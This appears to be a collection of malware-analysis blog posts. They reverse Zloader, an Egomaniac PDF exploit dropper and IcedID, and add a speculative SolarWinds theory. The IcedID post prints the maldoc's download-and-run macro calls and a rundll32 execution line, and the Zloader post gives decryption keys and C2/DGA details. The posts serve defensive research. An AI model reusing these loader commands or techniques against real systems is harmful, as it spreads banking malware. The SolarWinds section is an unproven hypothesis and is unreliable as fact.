Zloader Reversing

Aka: ZeusLoader, Deloader, Terdot, Zbot is a malware family that downloads Zeus OpenSSL. Parts of the source code of Zeus were leaked back in 2010 [1] and since couple of versions been forked. Each of the version has its malicious capabilities, but all in common do info stealing specially banking information. Zeus in its core does wild stuff from stealing HTTPS session before being encrypted; to split  stolen data and send it in multiple channels over different C2 server based on the stolen info-type [2]. The sent data is being encrypted using RC4 algorithm. Given that major parts of the Zeus being well known and very detectable by almost every AV; Zloader is not just a loader/packer to Zeus core functionality. There are some complicated obfuscation techniques and visual encryption implemented on every single unpacked version of Zloader that bypass security and difficulty extracting configuration. Uncommon attack vector like using Google AdSense has been observed lately [3] also attacker signs Zloader with a certificate compromised from legitimate software in order to evade detection. In this post, we gonna take a look of common Zloader 123 botnet attack that uses maldoc vector. Quickly analyze maldoc, downloader, and the well known unpacking technique with observed behavior which simple and not quite interesting. However, the second part is going to be deep dive into analyzing and reversing techniques of Zloader unpacked version.


SHA256 500856ee3fc13326cad564894a0423e0583154ef10531de4ab6e6d5df90d4e31

File Type Office Open XML Spreadsheet

Name tn4598151.xlsm

Size 182.62 KB (187002 bytes)

Creation Time 2021-10-04 13:17:51

Links MalwareBazaarVirusTotal, Any.run

In clear text on sheet2, the maldoc give away downloader URL, directory where it’s been dropped, and shell command to run a Dll which is the Zloader.

Enable macro is required to run the above in VBA script.

Downloaded test.dll is just an HTML! that downloads logs.php which is a Zloader Dll file!

Dll Zloader

SHA256 c4ab81d7b7d44dd6dfc4f2b69dbe3f22fbf23c1ae49ab8edac2d26f85ae4514d

File Type Win32 DLL

Names suqyatda.dll, ewviv.dll, ehev.dll, cyvi.dll, logs.php

Size 1.13 MB (1189888 bytes)

Compiler Time-stamp Mon Sep 23 01:29:14 2019

First Submission 2021-10-04 18:23:00

Links MalwareBazaarVirusTotal, Tria.ge

Zloader Dll file is been downloaded and runned in temp location. After Zloader runs:

  1. Create new process msiexec.exe and inject its loader in it.
  2. Loader sets new registry values using random hive and key names in:
    • HKCU\Software\Mircosoft\bbxk\uuwk
    • HKCU\Software\Mircosoft\bbxk\ziox
  3. Deletes original downloader and copy itself to %AppData%\Roaming\*random name\*.dll

The registry value calls the new directory for persistent in case of host rebooted.  Both registry values are encrypted with RC4 but more to that in next section

When checking memory strings for any forensics it spells out great number of C2 values. Noticed that 20 URLs has random name with fixed length. Those are called Domain Generated Algorithm DGA, unlike hardcode C2 URLs those are queried during running. More to that later in next section.

Using pe-sieve64 tool is good way to dump the unpacked Zloader from the running process which is valid PE file to be analyzed. However, just a quick debugging would give same result. In SquirrelWaffle and QakBot recent analysis [4] [5] it’s been observed that Zloader among other malwares are using same crypters/decryptor for unpacking mechanism for their loaders before injecting them in process. Following the same debugging method in [4] would reveal the packed Zloader.

Unpacked Zloader

SHA256 3A4CA58B0A2E72A264466A240C6636F62B8742FFBC96CE14E2225F0E57012E96

File Type Win32 DLL

Name unpacked_zloader_21_10_4.dll, 

Size 146.00 KB (149504 bytes)

Compiler Time-stamp Wed Jul 14 08:04:16 2021

First Submission 2021-10-18 15:32:37

Links MalwareBazaarVirusTotal, Tria.ge

The unpacked Zloader is a master piece of obfuscated functions that waste lots of analysis time to dig into. API strings among other static indicators would not be a good clue for analyzing Zloader. Beside, this malware family is known for API hashing, Visual Encryption using XOR, and RC4 encryption to encrypt strings.

There are five main topics we are going to discuss in this section when reversing Zloader: API hashing, XORing string, extracting Configuration, DGA routine, and Zeus function.

API Hashing:

Statically analyzing Zloader is a bit of a challenge. However, with a new amazing IDA plugin called HashDB from OpenAnalysis Labs [6] it’s amazing how much obfuscated strings get out the way when reversing Zloader. Just to show a case of what HashDB can do before and after shots of hashed values in a random function. The hashes been checked among large database of hashes with good prediction of hashing algorithms been used.

XORing Strings:

With API hashing out of the way. It’s important to get reversing tricks to dig into the main functions and extract configurations. There’re very limited hardcode strings in Zloader that can be clues like those.

First, let’s look at Off_186010 which is an offset of an offset of a memory location rdata:00183D80 with literal string ( #uVTN7’GQ’rxUf5Ly ). When cross referencing this offset it’s been used 4 times in two different functions. And there’s some sort of XOR function in both subroutines which reveal this is the key literal string could be an XOR key value.

 Cross referencing both sub_1658F0 and sub_173C90 routines would shows that over 120 times those functions has been called. Randomly checking any of the cross referencing like below

….skipped lines……..
text:001610E0 push offset unk_183E8E
.text:001610E5 call sub_1658F0
….skipped lines……..
text:0016444E push offset unk_184310
text:00164453 call sub_173C90
….. skipped lines……
text:00165685 push offset unk_184040
text:0016568A call sub_1658F0

We noticed both subrouties been called after a push of unknow offsets

Let’s use XOR key (#uVTN7’GQ’rxUf5Ly) with offset unk_184040 value.

Shift+E over unknow offset location

Hex: 70 00 1A 00 30 00 20 00 39 00 56 00 55 00 22 00 0D 00 6A 00 1B 00 1B 00 27 00 09 00 46 00 23 00 1F 00 57 00 29 00 56 00
key: #uVTN7’GQ’rxUf5Ly
Result: SuLT~7.Gh’$x.f.Lt#.VON,’`Q.r>UE5Sytu.T.7

The XORed value/result doesn’t make sense. If anything noticeable that the Hex values has zeros in sequence. Which indicate sub_1658F0 is for wide character and this makes and sub_173C90 for normal character. let’s try again deleting all repeated zeros and XOR with the key

Hex: 701A3020395655220D6A1B1B270946231F572956
key: #uVTN7’GQ’rxUf5Ly
Result: Software\Microsoft\

It’s not just strings that been obfuscated, some API calls been XORed too. Almost 120 offset being pushed in stack which means 120 strings are being XORed and to make it readable; Appendix – A contains all the strings with addresses after been XORed.


The other string ‘qhpacozsstaznupphhedjtuoww’ is 26 length. It’s crossed referenced twice in two separate routines.

snipped assembly from sub_161E40 and sub_1673D0 routines

.text:00161EE3 push offset aQhpacozsstaznu ; “qhpacozsstaznupphhedjtuoww”
.text:00161EE8 push offset unk_184404
——-skipped lines—
text:001673D0 sub_1673D0 proc near ; CODE XREF: sub_171400+40↓p
.text:001673D0 push ebp
.text:001673D1 mov ebp, esp
.text:001673D3 push edi
.text:001673D4 push esi
.text:001673D5 mov esi, ecx
.text:001673D7 call sub_1809A0
.text:001673DC mov edi, [eax+30h]
.text:001673DF mov ecx, esi
.text:001673E1 call sub_1809A0
.text:001673E6 add eax, edi
.text:001673E8 push 36Fh
.text:001673ED push offset unk_184404
.text:001673F2 push eax
.text:001673F3 call sub_171D80
.text:001673F8 add esp, 0Ch
.text:001673FB mov ecx, esi
.text:001673FD call sub_1809A0
.text:00167402 mov edi, [eax+34h]
.text:00167405 mov ecx, esi
.text:00167407 call sub_1809A0
.text:0016740C add eax, edi
.text:0016740E push 64h ; ‘d’
.text:00167410 push offset aQhpacozsstaznu ; “qhpacozsstaznupphhedjtuoww”

In both routines notice a repeated push to an offset unk_184404. This offset contains configurations. Noticed that both offset passed into a function sub_1656B0 (name decrypting_rc4)

Decrypting_rc4 function calls multiple function and those are calling other functions. What we are looking here is RC4 algorithm.

To have mind map where RC4 algorithm location lets Xref-from Decrypting_rc4 function where Config strings and key retrieved

Now let’s go back to the configuration ‘config’ offset in data block and copy its hex value to CyberChef and use RC4 algorithm to decrypt it with the key (qhpacozsstaznupphhedjtuoww)

Notice three things: got C2 URLs, list in Table-1, and 123 which is ID for this variant of Zloader, and at the tail there’s this value (djfsf02hf832hf03) which is another RC4 key that decrypt the registry values in \HKEY_CURRENT_USER\Software\Microsoft\bbxk and also encrypt decrypt traffic with C2 [7].



Decrytped registry key value contains host name and the Zloader in %AppData% directory.


Zloader know for using DGA algorithm and we notice above some of the generated 32 character length URLs. To find the DGA function in this we can look for .com or post.php strings that been deobfuscatd in the previous section of XORing strings.

when cross referencing .com from rdata:001849B4 location we find that it’s been called by one function and let’s name that function the_dga

The_dga function has been called one by another function. Based on [8], the caller of DGA routine does it math calculating values called Seed based on time and RC4 key (djfsf02hf832hf03) (second key). So the values generated are much different each day passed in used GetLocalTime and SystemTimetoFileTime APIs. Notice that the_dga function has passed value of 32 which is the same length of the URL string with Seed value which in this case makes the entire caller function to calculate Seed value. followed by post.php and https while loop. The caller function got many obfuscated function that slows down analysis and it get complicated calculating generated domains manually.

Zeus Items:

Zeus uses item ID as list below which is the main one, there are more extended list based on Zloader version [1] [2] [7]. Each ID passed into a function and dissect information from victim machine. When that information stored in attacker SQL filed it show retrieved info about the host.

Item IDValue

To get to Zeus item values and function we need to search strings in IDA to find one the common ID values since they are constant.  

Notice that most the calls are sub_1657B0, let’s call it z_items_main, it’s been crossed referenced 17 times. List of Zeus items being found in 123 variant.

Item IDValue

Just to give an example of the level of obfuscation on every stage of Zloader. Not all the items ID values are retrieved in decimal passed to the function. Some values passed into another function and require to calculate separately like below in v29 value return from sub_167890 .

To give an example of how Zeus item works let take a look at this function sub_177110.

sub_16F780 has (20001: CFGID_LAST_VERSION) that updates Zloader version. Looking at it in the disassembler would show so much obfuscated function, but to have an idea of what possibly this update could do let’s see the leaked source code having this similar Item ID in similar fashion [9].

The successful update would lead to update registry values in HKCU\Software\Mircosoft\bbxk\ which points to %AppData% directory of possible the new Zloader that has new C2 connections

Finally, to have an idea how Zeus function being called here’s a mind map when Xref-to it.

Appendix A

AddressXORed string
rdata:00184820Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36.


[1] Zeus opensource, https://github.com/Visgean/Zeus

[2] Titans’ revenge: detecting Zeus via its own flaws, https://www.honeynet.it/wp-content/uploads/Papers/04-Titans%20revenge.pdf

[3] Hide and Seek | New Zloader Infection Chain Comes With Improved Stealth and Evasion Mechanisms, https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/

[4] The Squirrel Strikes Back: Analysis of the newly emerged cobalt-strike loader “SquirrelWaffle” , https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9

[5] QakBot Quick analysis, https://twitter.com/aaqeel87/status/1443255927000424449?s=20

[6] HashDB project, https://hashdb.openanalysis.net/#section/Using-The-API/Hash-Format

[7] The “Silent Night” Zloader/Zbot , https://www.malwarebytes.com/resources/files/2020/06/the-silent-night-zloader-zbot_final.pdf

[8] The DGA of Zloader, https://bin.re/blog/the-dga-of-zloader/

[9] Zeus source code, https://github.com/Visgean/Zeus/blob/c55a9fa8c8564ec196604a59111708fa8415f020/source/client/dynamicconfig.cpp


Dissecting binaries from Egomaniac attack with API hashing technique

PDF files could be still on going attack vector depending on vulnerabilities that been discovered. In this sample the attacker used an old CVE-2010-2883 that performs stack-based buffer overflow for Adobe Reader and Acrobat of version 9.x before 9.4, and 8.x before 8.2.5 on Windows. This vulnerability allows the attacker to execute arbitrary code or cause a denial of service. The sample we are looking for has been posted by @vx-underground in their APT repository in 8 Sep 2021 [1]. The PDF is mostly an email attachment. In this post, we are going to walkthrough analyzing the sample and artifacts that been found beside showing methods and techniques on how to dissect on each step.


Technical Analysis


SHA-256: 4c46e8f35ee5663cff59edcf6d5b9f51f491baf37079d33f8a24417c85a5cd9d
Sample: https://tria.ge/210911-ncy83sbcg6

The first submission of the decoy PDF was in 2011 [2] and the same sample been summited many times then, but there is not any relational files clearly been discovered in public. The PDF itself has 4 blank pages with a check box on top. Depending on your preferences, there’re multiple tools on both Flare-VM and REMnux to analyze PDF files. PDF Stream Dumper is a free GUI based tool, part of Flare-VM set capable to decrypt, analyze, extract malicious code like JavaScript, and extract the original PDF from malicious one. PeePDF.py is part of REMnux tool set which can do just like the PDF Stream Dumper in CLI based mode. When first scanning the PDF file in PeePDF spotting two JavaScript indicator on object 2 and 29. Usually when a PDF doesn’t have any form to fill and when it’s just plain text/images the JavaScript object is suspicious. The (CVE-2010-2883) is a clear indicator which came part of PeePDF scanning.

When dumping Object 29 there appears to be an obfuscated JavaScript with Bese64 encoded scripts at the bottom.

After decoding the Base64 script we get another JavaScript with three shellcodes Base64 encoded stream. To decode and drop the shellcode streams we gonna use base64dump.py part of REMnux tool and check it with any Hex editor. From this shellcode we can see the following APIs:


The shellcode is part of CVE-2010-2883 that performs arbitrary code execution which in this case drops an executable file in %TEMP% directory and execute the command for the first stage. Which of course makes the PDF file nothing but dropper. The malicious executable name appears in shellcode as below

Stage one: DLL

File Name: dhq.dll
SHA-256: EBB22358CC0CE4BC40C76E1C02DF8D304FD0B27E9793C7CBCC02F23B4E3C1C89
Sample: https://tria.ge/210913-vj9rqahbhp

For 712.82 KB file size there doesn’t appear to be much imports when looking at the Dll in PeStudio. The Dll file could be packing another executable.

When looking at the entropy in Detect it Easy and see that almost the entire Dll (99.65%) is Overlay which indicates it’s carrying another file(s).

When disassembling the Dll in IDA Pro there appears to be two functions only! One of them is the Export (Startup) which is the main and a subroutine to it.

When examining the Pseudocode it appears that the entire role of Dll is create two files (adobe1.exe and reader.pdf) and run them in process which is a simple packing technique or in better form is dropper. The two created file is dropped in %TEMP% directory.

When running the Dll file it launches two main processes. First is the ‘adobe1.exe’ which launches default browser and terminate itself. The second process is a ‘Adobe Reader’ or whatever the default PDF reader in the host.

File Name: reader.pdf
SHA-256: 4a9e84a374276202ce4468813331c296e150ad568b3cd20b4d6f71be62d8518b

PDF file has nothing malicious in it. It’s only 16 pages made up CV of a scholar! It’s only part of the decoy that shows up later after the original PDF that has 4 blank pages.

There is not any network connections been made at this stage! however, there’re couple indicators that Hatching Tria.ge [3] only sandbox been able to give some extra network indications about this binary.

Shoutout to @Parshant for his collaboration on this part.

Network Indicators
C2:  VT, Maltiverse 
CA Verification:  VT, Maltiverse 
URL:     	 adobupdate.serveftp.com: VT, ThreatCrowd 

Stage 2: Executable

File Name: adobe1.exe
SHA-256: 9c85331956b4018e4bccaa097b452c1cc368183d8f2a34e55e251a616a1f2cb9
Sample: https://tria.ge/210914-3e8ymagdg7

‘adobe1.exe’ seems to be an old sample which could be a packed in a commercialized packer. After running it, ‘adobe1.exe’ creates three default browser in the process without showing any browser window.

When looking at it creating copy of itself in a new process this indicate that some self-injection happening while running. There are couple ways to extract the the injected code. One of them is scanning one the browsers process with Pe-Sieve which is always a quick and definitive way. Second way is to use Scylla. Both of those can dump out the executable or any shellcode been injected in the process. However, in this analysis found out the best way to unpack the core code from this binary via debugging the sample on x32dbg by setting a breakpoint on the ‘return’ value of the ‘VirtualAlloc’.

VirutalAlloc would always return its value in the EAX register. By keep Follow in Dump each address that EAX register gets and using all the Dump slots available it is possible to find what we’re looking for. In this case the first two returns would be just allocating some space in memory for the code. The third one we can see that EAX has a PE header in it.

Two things: the allocated space seems to have huge overhead on top of PE header which can be fixed in any Hex Editor without the need to fix any addresses of the binary. The second thing, the dumped PE file shows some UPX version and sections packing in PeStudio. It’s possible to use CLI UPX to unpack but found it helpful using CFF Explorer VIII UPX utility to do the same. The unpacked executable doesn’t need any address alignment as in PE-bear. The unpacked sample is ready to be analyzed and looked in IDA Pro.

Packed binary: https://tria.ge/210921-qy1p5scchj
SHA-256: bd8cdc89f3b3341a93594953b1bd7611a18c23d90ba64271ac914ae363959198

Stage 3: Unpacked Exe (API Hashing)

File Name: unpacked_437ccf8.exe
SHA-256: 664c3a7e8d4c5316a116a2c00595fb66e338012898b09d44218ae8374477fab8
Sample: https://tria.ge/210921-la1m1shae2

The unpacked binary shows many challenges from anti-analysis, anti-debugging, to not so much helpful strings. We going to take a look at how to avoid anti-debugging later in this section but let’s statically look into the binary and see what possibly comes out of it.

When looking at the first entry function in IDA we can spot the 7th call is calling memory section or dword_13354874. Looking into the memory address seems like an empty pointer. Usually this indicate one of two things, either the binary is dumped incorrectly from memory and the import address table haven’t been built correctly, or the author of this code have built a dynamic import address table (API hashing) to resolve API dynamically at run time.

To verify let’s check the Cross References (xrefs) of the same address dword_13354874. As you can see there is an EAX register value been moved into this address and that would be setting up the pointer to an API.

When checking sub_13164CEE subroutine from Figure 16, it turns this is just the function prior calling memory or the 6th Call from the entry point. The trick is to step over this function in order to get the import address table so we have the APIs resolved to look at.

To stepover this function, we are going to use IDA’s Local Windows Debugger. First thing, we need to set a breakpoint on the entry point and run the debugger. run stepover sub_13164CEE.

Once stepped over, we go to Debugger -> Take memory snapshot. This set would save all the resolved API and can be statically looked into IDA even without the debugger running. At this point it is safe to stop IDA debugger (Terminate Process (Ctrl + F2)).

Looking at some of the dword been changed into offset with labeled API. Which can make the analysis much cleaner. However, some case we need to look into memory location in order to find offset or resolve it manually.

Before saving work in IDA, there is one more thing we need to do which could enhanced the analyzed binary much further by going to (Options -> General -> Analysis tab -> Reanalyze program -> Ok) the entire Re-analysis would take time, and the enhanced analysis visually appears in the Navigation bar. This entire trick would be handy when analyzing ransomware sample in order to find out the strings and show dynamically resolved APIs.

Majority part of the strings and APIs can now been seen in clear text. As seen in figure below there’re so functions that collect information about the victim machine to make a profile

There’s an anti-debugging technique been used in this sample. In-order to pass it we gonna use x32dbg to dynamically debug the sample by using Hide debug function like below and couple of NOPs to patch the sample.

And just to show case we going to breakpoint at CreateProcessA in order to see what tool is going to run.


Exploiting an old CVE shows no sophistication in this sample. However, this is just a first stage and the attacker could be targeting someone in specific with educational background like universities or some governmental recruiter in general based on the PDF content which contains fake CV information. The other stages shows some action going on when looking into network behavior and intel. The fact that binaries haven’t been unsubmitted before and there are some intermediate techniques of packing and obfuscation with anti-analysis and anti-debugging shows some sort of skills to avoid detection.


Threat report from SentinelLABS has two indicators in common with this analysis. The sample related to a malware family called Egomaniac [4].


[1] https://vx-underground.org/samples/Families/APT/2021.09.08/

[2] https://www.virustotal.com/gui/file/4c46e8f35ee5663cff59edcf6d5b9f51f491baf37079d33f8a24417c85a5cd9d/details

[3] https://tria.ge/210913-vj9rqahbhp/behavioral2

[4] https://www.sentinelone.com/labs/egomaniac-an-unscrupulous-turkish-nexus-threat-actor/

IcedID Analysis

IcedID aka (BokBot) is banking malware designed to steal financial information. Lunar Spider is the threat actor behind IcedID which they’ve been running campaigns since at least 2017. Beside stealing banking information, some incident show that IcedID is an entry stage to ransomware or RAT attack. It’s been observed lately that the threat actor has been using new techniques to evade detection by endpoint security, sandbox, and anti-reversing. Which makes it interesting to try dissecting samples to find out indicators and other artifacts that could be missed by security tools.

In this post, will take a look at IcedID sample that’s been posted on Malware-traffic-analysis.net. Will walkthrough each artifact to learn how to unpack the hidden malicious binaries. These techniques would also work on other IcedID samples that has been found lately.

behaviour overview

Threat actor send an email with attached ZIP archived including maldoc either MS Word or Excel spreadsheet. When opening the the maldoc it asks to enable macros. Once enabled two function happens first download a DLL file and run it in a process using ‘rundll32.exe’. The downloaded DLL has unknown extension. After running in process, the DLL file ‘Installer’ does mainly two things: download a GZIP compressed binary and install it. The GZIP might have zip extension, but it can’t be open or extracted with any archived tool. The GZIP mainly a dropper, it’s packed with two binaries. without further ado let’s get started with the below artifacts.

File NameDescriptionFile TypeSHA256
82025721897_03192021.xlsmMaldocExcel spreadsheetdcc45c82a484a420888aabe66588cbb1658cb2a7a5cc833b0438fa06ca84a991
Kiod.hodInstaller DLLDLLd1634c8dd16b4b1480065039fac62d6c1900692f0ccc9bf52c8ddc65599fbf3d
suit_32.tmpTemporary DLL DLLb8502cc6fd41a558012e7ccd0a7f4e0ed5746bf106b8bf5b6a27ef9cba18a9e3
Oxiwko.dllPersistent DLLDLL48b72914126b6b4a3e5aefa9bc8d5eac1187543eb0fa42c98a70a2f2ad07a60a
Table 1, List of IcedID artifacts to analyze


One of the most recognized templated of IcedID spreadsheet that hides beside it XLM 4.0 functions to download and run process once hit Enable Content as typical maldoc.

Figure 2, IcedID template

IcedID use “Auto_Open” function to execute the entire XLM (4.0) script. Moving between sheets and cells, it’s possible to debug the function step-by-step, but what’s worthy is to get IOCs which is in clear text.

Host-based and Network-based IOCs 
--------Shell Command --------------------
Rundll32 ..\Kiod.hod2,DllRegisterServer
--------Contacted IP Addresses -----------
---------Calls --------------------------
=CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "", "..\Kiod.hod")
=CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "", "..\Kiod.hod1")
=CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "", "..\Kiod.hod2")
Figure 3, Maldoc behavioral from Tria.ge sandbox

installer dll

‘Kiod.hod’ is the name of the first stage IcedID execution in this sample. It’s a 64-bit DLL with MZ header running in a ‘rundll32’ create process from the maldoc. when checking the sample on Hatching Triage sandbox, the network shows requests to ‘aws.amazon[.]com‘ and ‘calldivorce[.]fun‘. The installer download a GZIP file and install it. It’s not possible to view the network indicators when on statically analyzing this sample, nor when debugging it which is mostly sign of packed executable.

Figure 4, Installer behavioral on tria.ge sandbox

There’s one library ‘kernel32.dll’ and no sign of imported APIs to help guide either statically or in debugger in order to unleash any indicators. Simply loading the sample on x64dbg doesn’t work! There’re multiple ways to unpack the installer DLL, however, the quick and possible way to unpack the binary by attaching the installer DLL to (~Windows\System32\rundll32) in x64dbg like steps below:

1. x64dbg -> File -> Open -> C:\Windows\System32\rundll32.exe
2. x64dbg -> File -> Change Command Line -> "C:\Windows\System32\rundll32.exe" "C:\Users\~\lab\Kiod.dll",DllRegisterServer 
* no spaces except the single space between " " and copy the full DLL directory
** DllRegisterServer is the export function
3. After hitting ok, go to Options -> Preferences -> Events tab -> check ✔ DLL Entry
4. Hit F9 (few seconds and pause)

Directly after pausing you can notice see the register ‘R14’ got PE sign and ready to Save Memory Region by dump it from Memory Map. The unpacked executable seems to be unmapped to memory and no changes required to addresses on the sections headers.

Unpacked Installer - unpacked file

SHA256: 7459E88626A90B52C3392A14734D00A5238EDBF13C61907F39326DF2D4C3F922
HOST IOC: C:\ProgramData\
Network IOC: aws.amazon.com
             calldivorce.fun/~[GZIP file]

submitted sample on (9 April 2021)
23/61 VT: https://www.virustotal.com/gui/file/7459e88626a90b52c3392a14734d00a5238edbf13c61907f39326df2d4c3f922/detection
10/10 Triage: https://tria.ge/210409-af3skeevmx/behavioral2

other highlighted IOCs
Imports (APIs)
LookupAccountNameW ,advapi32.dll

It’s clear what APIs and libraries the original packed installer hiding which is detectable by any endpoint security as can see in Pestudio. Further disassembling with Cutter 2.0.0 the unpacked DLL to get indicators.


suit_32.tmp, is another 64-bit DLL. It dropped from GZIP with the ‘license.dat’ binary. Located in %temp% directory


The main purpose of this temporary DLL to initiate persistent with ‘license.dat’ and later copy itself to another directory for persistent.

Run method: rundll32.exe [filename],update /i:”LuxuryQuarter\license.dat”

This artifact is also well packed for evasion and anti-analysis purposes. like the ‘installer’ no libraries or API to get hint where to breakpoint. To unpack :

1. Load 'suit_32.tmp' in x64dbg
2. Either single or over stepping till reaching [RtlExitUserProcess] API function
3. Check the stack or RDI register for MZ header. 
4. Dump from Memory Map 

The unpacked requires addresses matching because it were mapped to memory.

Temporary DLL - unpacked file
SHA256: AD435DB375665D157AED16BA8B51735B65AC6AEE86864DA78408B44C9D85093B
HOST IOC: C:\ProgramData\
Network IOC: N/A

Summitted sample on (4 April 2021)
15/69 VT: https://www.virustotal.com/gui/file/ad435db375665d157aed16ba8b51735b65ac6aee86864da78408b44c9d85093b/detection
1/10 Triage: https://tria.ge/210403-1sm7qxep8n/behavioral2

Other highlighted IOCs
Imports (APIs)
VirtualProtect, Kernel32.dll
GetModuleFileNameA, Kernel32.dll

As compared with the packed version there’s a new C2 based on Triage sandbox analysis!

/update/ 10 Apr

it’s been brought up by community that the upper IPs are not C2s.

Persistent DLL

‘Oxiwko.dll’, suppose to be a copy from the previous temporary DLL. Big picture from Entropy view and Pestudio shows the resemblance. Which makes it easy to unpack this sample using same method above with the temporary DLL.

Persistent DLL - unpacked file
SHA256: c04101f36a7d1498379ff6abb2218a2730ad896908e525cd3664ea5cc4a56a18
HOST IOC: C:\ProgramData\
Network IOC: N/A

Summitted sample on VT and Tria.ge (9 April 2021)
21/69 VT: https://www.virustotal.com/gui/file/c04101f36a7d1498379ff6abb2218a2730ad896908e525cd3664ea5cc4a56a18/detection
1/10 Triage: https://tria.ge/210409-tdel4edx32/static1

Other highlighted IOCs
Imports (APIs)
VirtualProtect, Kernel32.dll
GetModuleFileNameA, Kernel32.dll

There’s not any network indicator in either packed or unpacked which make sense, because the very purpose of this file is persistent in Task Scheduler to load ‘license.dat’.

Figure 9, Persistent [snap from malware-traffic-analysis]

IcedID (license.dat)

Leaving the beast for last! Even-though it’s been summited to VT by early March 1st, 2021. It’s still unrecognized by many vendors that ‘license.dat’ is the IcedID.

Huge credit to BinaryDefense team for their efforts building the decryption tool for this part of IcedID and giving it a way on Github.

The unknown ‘license.dat’ encrypted binary is running on Task Scheduler with the persistent DLL. As it turns out the unknown binary is also 64-bit DLL. Unlike the previous DLL, this is different kind of beast and this is what IcedID (BokBot) is all about. The decryption does a good job dissecting readable DLL from encrypted binary. However, due to very complication of this part is only possible to disassemble it in IDA, Cutter and other kind of disassemble tools. It’s not possible to debug it.

Never the less, it’s possible to reverse engineer the function with proper disassembler to unleash the behavior which by looking at it’s API list seems to be detectable by Endpoints. The main functions of ‘license.dat’ is collecting host and user information and connecting to C2.

Decrypted license.dat file
SHA256: 66b6a55b67c0201a02dbdc4a2ef3c3f2d57aaadbbefa61c1bcdb59b96fb86743

submitted on VT and Triage on (9 April 2021)
16/67 VT: https://www.virustotal.com/gui/file/66b6a55b67c0201a02dbdc4a2ef3c3f2d57aaadbbefa61c1bcdb59b96fb86743/detection
1/10 triage: https://tria.ge/210409-1satexfe4j

Further analysis will be taken to further analyze IcedID campaigns in general and ‘license.dat’ in particular to further understand its behavior.



To BinaryDefense, https://www.binarydefense.com/icedid-gziploader-analysis/ for providing the decryption tool

To Malware Traffic Analysis, https://www.malware-traffic-analysis.net/ for the artifacts, WireShark packets




SolarWinds Attack Plan A: The Imposter

The on-going investigation of SUNBURST/Solorigate supply-chain attack led by FireEye and Microsoft threat teams have reached to the second stage of the attack SUNSHUTTLE [3] [4]. More backdoors and C2 servers been discovered each time disclosing a stage of this wide and massive attack. Estimating the attacker distributed the SUNBURST during March 2020 [5] from Solarwinds update servers and managed persistent for a long time.

There’s not any report or indicator of the discovered C2 domains prior December 13, 2020 from all high-value targets and their DNS security in place.

C2 DomainNames: vsvmcloud[.]com, onetechcompany[.]com, reyweb[.]com, srfnetwork[.]org

In this post, shed the light over a fact that the threat actor is too smart and sophisticated to burn an entry over couple C2 domains which can be detected/blocked by a DNS security solution once threat actor decided to take it to the next level. The C2 might be used as plan B or just playing charades with the analyst and IR team. The reason for that is to hide the key player in this attack to keep the persistent going even after taking down the C2 domain during threat hunting.

In Orion documentation [6] there’re couple of pre-request requirements, but it doesn’t include Orion use for the Netbios port 137 as stated in the SolarWinds Success Center [7].Checking bidirectional connection on firewalls between local Orion server on port 137 and other outbound connection for certain period of time during the 2020 shows that thousands of connections with other thousands of other clients Orion servers in the region [the number depends on the region]. Some clients might not have this port disabled during configuration or by default. It’s unclear to what exact process and there’s no documentation for that or what’s been transferred from port 137! it could be shared updates due to the Orion packages size. But overall it’s an open port with other server in the region. Threat actor could have leveraged this attack vector by using Netbios to maintain persistent rather than using any C2 domains. In theory, there is high probability that the threat actor is having at least one server with Orion installed in each region which I like to call it The Imposter “just like the one in Among Us App”. This imposter server can maintain connection without drawing attention. In case any Orion server went off the pool there is a dedicated C2 domain to it. To backup this theory of Orion regional connection and threat actor presence among the Orion pool:

[A] There’s DGA server determination by east and west in EU and US region like the one discovered in FireEye [1] not just to classify C2 domains but also that’s how SolarWinds maintain connection

[B] Between March and December 2020, there’s no report of any of the discovered C2 domains and still there might be big data breach, however no incident or evidence show there’s data uploaded using any C2 yet!

[C] Explain how the second stage backdoor happen since there’re no ties discovered earlier related to the first stage

[D] Lateral movement incident from Orion local server and other non-agent in the local network and no sign of C2 server on the other side even with first stage backdoor present.

[E] SolarWinds were facing some challenges when it comes upgrade client server and on the latest release during the time of the attack in 2020. This webinar explain some of the feature including upgrade features [8]

This post is showing another vector of this massive attack and clearly there is more to investigate, but what it could do is to help narrow down the suspect list among legitimate Orion servers. In addition, this theory answers the question second stage of SUNSHUTTLE [3] and [4] where there’s no persistence.


[1] Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor, FireEye ,https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html

[2] Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers, Microsoft MSTIC , https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/

[3] New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452, FireEye, https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html

[4] GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence, Microsoft MSTIC, https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

[5] Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop, Microsoft MSTIC, https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

[6] SolarWinds Orion Platform requirements, Solarwinds, https://documentation.solarwinds.com/en/success_center/orionplatform/Content/core-orion-requirements-sw1916.htm#Server

[7] Disable Netbios UDP 137 traffic, SolarWinds Success Center, https://support.solarwinds.com/SuccessCenter/s/article/Disable-Netbios-UDP-137-traffic?language=en_US

[8] 2020.2 Releases: Orion Map Updates, New Security Product Features, and More – SolarWinds Lab #89, SolarWinds Youtube channel, https://www.youtube.com/watch?v=bA87jwFrrYg

Dridex Malware Analysis [10 Feb 2021]

